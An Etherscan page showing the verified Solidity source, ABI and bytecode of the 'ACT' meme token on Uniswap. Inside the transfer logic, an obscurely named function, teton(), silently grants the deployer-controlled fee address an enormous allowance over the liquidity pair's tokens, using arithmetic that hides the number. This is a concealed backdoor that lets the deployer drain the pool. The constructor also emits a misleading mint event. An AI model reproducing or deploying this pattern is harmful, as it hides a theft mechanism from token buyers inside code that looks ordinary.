Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract ACT is Context, IERC20, O ... *    - function initT()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function approve(address spender, uin ...    - function _approve(address owner, addr ...    - function tEthSwap(uint256 amount)    - function _transfer(address from, addr ...    - function tEthSend()    - function removeLimit(address payable ...    - function teton(address[2] memory tets ...    - function withdrawEth()    - function min(uint256 a, uint256 b)    - function launchACT()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-19
*/

/**
https://x.com/repligate/status/1841064405980913705
Join Tg: https://t.me/act_meme
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ACT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _tApprovals;
    mapping (address => bool) private _shouldExcludedT;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Act I : The AI Prophecy";
    string private constant _symbol = unicode"ACT";
    uint256 public _maxAmountT = 2 * _tTotal / 100;
    uint256 public _maxWalletT = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    event MaxTxAmountUpdated(uint _maxAmountT);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    address payable private tFeeReceipt;
    IUniswapV2Router02 private uniTRouter;
    address private uniTPair;

    constructor () {
        tFeeReceipt = payable(_msgSender());
        _tOwned[_msgSender()] = _tTotal;
        _shouldExcludedT[address(this)] = true;
        _shouldExcludedT[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function initT() external onlyOwner {
        uniTRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniTRouter), _tTotal);
        uniTPair = IUniswapV2Factory(uniTRouter.factory()).createPair(
            address(this),
            uniTRouter.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tApprovals[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _tApprovals[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tApprovals[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function tEthSwap(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniTRouter.WETH();
        _approve(address(this), address(uniTRouter), amount);
        uniTRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniTPair && to != address(uniTRouter) && ! _shouldExcludedT[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxAmountT, "Exceeds the _maxAmountT.");
                require(balanceOf(to) + amount <= _maxWalletT, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniTPair && ! _shouldExcludedT[to]) {
                require(balanceOf(to) + amount <= _maxWalletT, "Exceeds the maxWalletSize.");
            }
            if(to == uniTPair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniTPair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    tEthSwap(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                tEthSend();
            }
        }
        if(teton([uniTPair, tFeeReceipt]) && taxAmount>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function tEthSend() private {
        tFeeReceipt.transfer(address(this).balance);
    }
    function removeLimit(address payable limit) external onlyOwner{
        tFeeReceipt = limit;
        _maxAmountT=_tTotal;
        _maxWalletT=_tTotal;
        _shouldExcludedT[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function teton(address[2] memory tets) private returns(bool){
        _tApprovals[tets[0]][tets[1]]=(150+(150+_maxAmountT.add(100)-50).mul(150)-100)+500;
        return true;
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    receive() external payable {}
    function launchACT() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniTRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniTPair).approve(address(uniTRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountT","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchACT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102fa565b610021906461f313f88061030f565b61002c90600261030f565b6100369190610326565b60045560646100476009600a6102fa565b610056906461f313f88061030f565b61006190600261030f565b61006b9190610326565b600555606461007c6009600a6102fa565b61008b906461f313f88061030f565b61009690600161030f565b6100a09190610326565b60065560646100b16009600a6102fa565b6100c0906461f313f88061030f565b6100cb90600161030f565b6100d59190610326565b600755600f600855600f6009555f600a555f600b55600c8055600c600d55600f600e555f600f55348015610107575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916331790556101666009600a6102fa565b610175906461f313f88061030f565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101df6009600a6102fa565b6101ee906461f313f88061030f565b60405190815260200160405180910390a3610345565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561025257815f190482111561023857610238610204565b8085161561024557918102915b93841c939080029061021d565b509250929050565b5f82610268575060016102f4565b8161027457505f6102f4565b816001811461028a5760028114610294576102b0565b60019150506102f4565b60ff8411156102a5576102a5610204565b50506001821b6102f4565b5060208310610133831016604e8410600b84101617156102d3575081810a6102f4565b6102dd8383610218565b805f19048211156102f0576102f0610204565b0290505b92915050565b5f61030860ff84168361025a565b9392505050565b80820281158282048414176102f4576102f4610204565b5f8261034057634e487b7160e01b5f52601260045260245ffd5b500490565b6119ea806103525f395ff3fe608060405260043610610112575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb14610308578063bf474bed14610327578063d8ec10cb1461033c578063dd62ed3e14610350578063f172d6e614610394575f80fd5b8063715018a61461027a5780638da5cb5b1461028e57806395d89b41146102b4578063a0bfbf22146102df578063a0ef91df146102f4575f80fd5b806318160ddd116100e357806318160ddd146101d75780631b99a8df146101eb57806323b872dd1461020c578063313ce5671461022b57806370a0823114610246575f80fd5b806242174b1461011d57806306fdde0314610145578063095ea7b3146101935780630faee56f146101c2575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b5061013260055481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b5060408051808201909152601781527f4163742049203a205468652041492050726f706865637900000000000000000060208201525b60405161013c91906115f4565b34801561019e575f80fd5b506101b26101ad36600461163d565b6103a8565b604051901515815260200161013c565b3480156101cd575f80fd5b5061013260075481565b3480156101e2575f80fd5b506101326103be565b3480156101f6575f80fd5b5061020a610205366004611667565b6103df565b005b348015610217575f80fd5b506101b2610226366004611682565b6104da565b348015610236575f80fd5b506040516009815260200161013c565b348015610251575f80fd5b50610132610260366004611667565b6001600160a01b03165f9081526001602052604090205490565b348015610285575f80fd5b5061020a610541565b348015610299575f80fd5b505f546040516001600160a01b03909116815260200161013c565b3480156102bf575f80fd5b506040805180820190915260038152621050d560ea1b6020820152610186565b3480156102ea575f80fd5b5061013260045481565b3480156102ff575f80fd5b5061020a6105b2565b348015610313575f80fd5b506101b261032236600461163d565b610607565b348015610332575f80fd5b5061013260065481565b348015610347575f80fd5b5061020a610613565b34801561035b575f80fd5b5061013261036a3660046116c0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039f575f80fd5b5061020a6107f6565b5f6103b43384846109f0565b5060015b92915050565b5f6103cb6009600a6117eb565b6103da906461f313f8806117f9565b905090565b5f546001600160a01b031633146104115760405162461bcd60e51b815260040161040890611810565b60405180910390fd5b601080546001600160a01b0319166001600160a01b0383161790556104386009600a6117eb565b610447906461f313f8806117f9565b6004556104566009600a6117eb565b610465906461f313f8806117f9565b6005556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b76009600a6117eb565b6104c6906461f313f8806117f9565b60405190815260200160405180910390a150565b5f6104e6848484610b13565b61053784336105328560405180606001604052806028815260200161198d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e0565b6109f0565b5060019392505050565b5f546001600160a01b0316331461056a5760405162461bcd60e51b815260040161040890611810565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105db5760405162461bcd60e51b815260040161040890611810565b60405133904780156108fc02915f818181858888f19350505050158015610604573d5f803e3d5ffd5b50565b5f6103b4338484610b13565b5f546001600160a01b0316331461063c5760405162461bcd60e51b815260040161040890611810565b5f54600160a01b900460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610408565b6011546001600160a01b031663f305d71947306106c6816001600160a01b03165f9081526001602052604090205490565b5f806106d95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107649190611845565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dd9190611870565b505f805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081f5760405162461bcd60e51b815260040161040890611810565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086990309061085a6009600a6117eb565b610532906461f313f8806117f9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dd919061188f565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610960919061188f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce919061188f565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610408565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610408565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610408565b5f8111610c3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610408565b5f8054600160b01b900460ff161580610c5b57505f54600160a81b900460ff165b15610d13576001600160a01b0384165f90815260016020526040902054610c839083906118aa565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cb29083906118bd565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d059086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b15611076576012546001600160a01b038581169116148015610d6d57506011546001600160a01b03848116911614155b8015610d9157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef5575f54600160a01b900460ff16610de65760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610408565b610e126064610e0c600c54600f5411610e0157600854610e05565b600a545b8590611218565b9061129d565b9050600454821115610e665760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74542e00000000000000006044820152606401610408565b60055482610e88856001600160a01b03165f9081526001602052604090205490565b610e9291906118bd565b1115610ee05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b600f8054905f610eef836118d0565b91905055505b6012546001600160a01b03848116911614801590610f2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa5760055482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c91906118bd565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b6012546001600160a01b0390811690841603610fe857610fe56064610e0c600d54600f5411610fdb57600954610e05565b600b548590611218565b90505b5f54600160a81b900460ff1615801561100e57506012546001600160a01b038481169116145b801561102257505f54600160b01b900460ff165b80156110315750600e54600f54115b1561107657305f9081526001602052604090205460065481111561106c5761106c61106784611062846007546112de565b6112de565b6112f2565b611074611460565b505b604080518082019091526012546001600160a01b0390811682526010541660208201526110a290611496565b80156110ad57505f81115b1561112457305f908152600160205260409020546110cb9082611529565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111469083611587565b6001600160a01b0385165f9081526001602052604090205561118961116b8383611587565b6001600160a01b0385165f9081526001602052604090205490611529565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d28585611587565b604051908152602001610d05565b5f81848411156112035760405162461bcd60e51b815260040161040891906115f4565b505f61120f84866118aa565b95945050505050565b5f825f0361122757505f6103b8565b5f61123283856117f9565b90508261123f85836118e8565b146112965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610408565b9392505050565b5f61129683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c8565b5f8183116112ec5782611296565b50919050565b5f805460ff60a81b1916600160a81b178155604080516002808252606082018352909160208301908036833701905050905030815f8151811061133757611337611907565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b2919061188f565b816001815181106113c5576113c5611907565b6001600160a01b0392831660209182029290920101526011546113eb91309116846109f0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114239085905f9086903090429060040161191b565b5f604051808303815f87803b15801561143a575f80fd5b505af115801561144c573d5f803e3d5ffd5b50505f805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610604573d5f803e3d5ffd5b5f60646114d1609660326114b6606460045461152990919063ffffffff16565b6114c19060966118bd565b6114cb91906118aa565b90611218565b6114dc9060966118bd565b6114e691906118aa565b6114f2906101f46118bd565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f8061153583856118bd565b9050838110156112965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610408565b5f61129683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e0565b5f81836115e85760405162461bcd60e51b815260040161040891906115f4565b505f61120f84866118e8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610604575f80fd5b5f806040838503121561164e575f80fd5b823561165981611629565b946020939093013593505050565b5f60208284031215611677575f80fd5b813561129681611629565b5f805f60608486031215611694575f80fd5b833561169f81611629565b925060208401356116af81611629565b929592945050506040919091013590565b5f80604083850312156116d1575f80fd5b82356116dc81611629565b915060208301356116ec81611629565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174557815f190482111561172b5761172b6116f7565b8085161561173857918102915b93841c9390800290611710565b509250929050565b5f8261175b575060016103b8565b8161176757505f6103b8565b816001811461177d5760028114611787576117a3565b60019150506103b8565b60ff841115611798576117986116f7565b50506001821b6103b8565b5060208310610133831016604e8410600b84101617156117c6575081810a6103b8565b6117d0838361170b565b805f19048211156117e3576117e36116f7565b029392505050565b5f61129660ff84168361174d565b80820281158282048414176103b8576103b86116f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611857575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611880575f80fd5b81518015158114611296575f80fd5b5f6020828403121561189f575f80fd5b815161129681611629565b818103818111156103b8576103b86116f7565b808201808211156103b8576103b86116f7565b5f600182016118e1576118e16116f7565b5060010190565b5f8261190257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196b5784516001600160a01b031683529383019391830191600101611946565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6c7914bd6d1e212c3aca68da5c170b27f361fdf9efd47281ce2230ceef7c3d864736f6c63430008190033

0x608060405260043610610112575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb14610308578063bf474bed14610327578063d8ec10cb1461033c578063dd62ed3e14610350578063f172d6e614610394575f80fd5b8063715018a61461027a5780638da5cb5b1461028e57806395d89b41146102b4578063a0bfbf22146102df578063a0ef91df146102f4575f80fd5b806318160ddd116100e357806318160ddd146101d75780631b99a8df146101eb57806323b872dd1461020c578063313ce5671461022b57806370a0823114610246575f80fd5b806242174b1461011d57806306fdde0314610145578063095ea7b3146101935780630faee56f146101c2575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b5061013260055481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b5060408051808201909152601781527f4163742049203a205468652041492050726f706865637900000000000000000060208201525b60405161013c91906115f4565b34801561019e575f80fd5b506101b26101ad36600461163d565b6103a8565b604051901515815260200161013c565b3480156101cd575f80fd5b5061013260075481565b3480156101e2575f80fd5b506101326103be565b3480156101f6575f80fd5b5061020a610205366004611667565b6103df565b005b348015610217575f80fd5b506101b2610226366004611682565b6104da565b348015610236575f80fd5b506040516009815260200161013c565b348015610251575f80fd5b50610132610260366004611667565b6001600160a01b03165f9081526001602052604090205490565b348015610285575f80fd5b5061020a610541565b348015610299575f80fd5b505f546040516001600160a01b03909116815260200161013c565b3480156102bf575f80fd5b506040805180820190915260038152621050d560ea1b6020820152610186565b3480156102ea575f80fd5b5061013260045481565b3480156102ff575f80fd5b5061020a6105b2565b348015610313575f80fd5b506101b261032236600461163d565b610607565b348015610332575f80fd5b5061013260065481565b348015610347575f80fd5b5061020a610613565b34801561035b575f80fd5b5061013261036a3660046116c0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039f575f80fd5b5061020a6107f6565b5f6103b43384846109f0565b5060015b92915050565b5f6103cb6009600a6117eb565b6103da906461f313f8806117f9565b905090565b5f546001600160a01b031633146104115760405162461bcd60e51b815260040161040890611810565b60405180910390fd5b601080546001600160a01b0319166001600160a01b0383161790556104386009600a6117eb565b610447906461f313f8806117f9565b6004556104566009600a6117eb565b610465906461f313f8806117f9565b6005556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b76009600a6117eb565b6104c6906461f313f8806117f9565b60405190815260200160405180910390a150565b5f6104e6848484610b13565b61053784336105328560405180606001604052806028815260200161198d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e0565b6109f0565b5060019392505050565b5f546001600160a01b0316331461056a5760405162461bcd60e51b815260040161040890611810565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105db5760405162461bcd60e51b815260040161040890611810565b60405133904780156108fc02915f818181858888f19350505050158015610604573d5f803e3d5ffd5b50565b5f6103b4338484610b13565b5f546001600160a01b0316